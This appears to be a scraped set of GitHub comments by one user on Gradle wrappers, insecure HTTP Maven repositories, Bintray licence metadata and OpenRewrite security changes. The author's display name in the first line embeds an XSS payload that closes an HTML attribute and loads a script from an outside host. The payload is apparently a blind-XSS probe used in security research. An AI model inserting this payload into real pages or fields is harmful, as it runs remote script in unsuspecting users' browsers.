Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

The wrapper jar also needs to be included in the change in order to complete the update. Ensure that the gradle wrapper jar isn't being excluded by the `.gitignore` file.

This is still an issue

This looks most likely Hacktoberfest spam. I can't mark this PR as 'invalid' or 'spam' though.

I recommend reaching out to the server maintainers to see if this security vulnerability can be resolved on their ends.

> as recent versions of Maven block HTTP repos by default Yep, that was a huge PITA to get the Apache team to make the change, but they finally did.

@jk1 I've got some examples of where this is necessary. Ktor-Swagger: https://bintray.com/ktor-swagger/maven-artifacts/download_file?file_path=de%2Fnielsfalk%2Fktor%2Fktor-swagger%2F0.3.0%2Fktor-swagger-0.3.0.pom Klaxon: https://bintray.com/cbeust/maven/klaxon/5.0.5 Ktor (version 0.9.3): https://bintray.com/kotlin/ktor/ktor/0.9.3 Having a way to manually set the licence for these when they...

This is the code I've used to hack the solution on to the CSV formatter. I'm not proud of this code, but it does work for me. ```kotlin data class...

Regardless of this minor issue, I really want to thank you for this library. You saved me hours of tedious work! Awesome project!

I'm working on regenerating these changes with a different exception. See: - https://github.com/openrewrite/rewrite-java-security/commit/da5e07a513bf1933d1e76f73d9d063701e19186d - https://github.com/openrewrite/rewrite-java-security/commit/045e12644c8fae6b5719aee8b012d04579d88e8e

> Please note that the Apache Commons project provides a component dedicated to pseudo-random number generation, namely Commons RNG, that may be a better choice for applications with more stringent...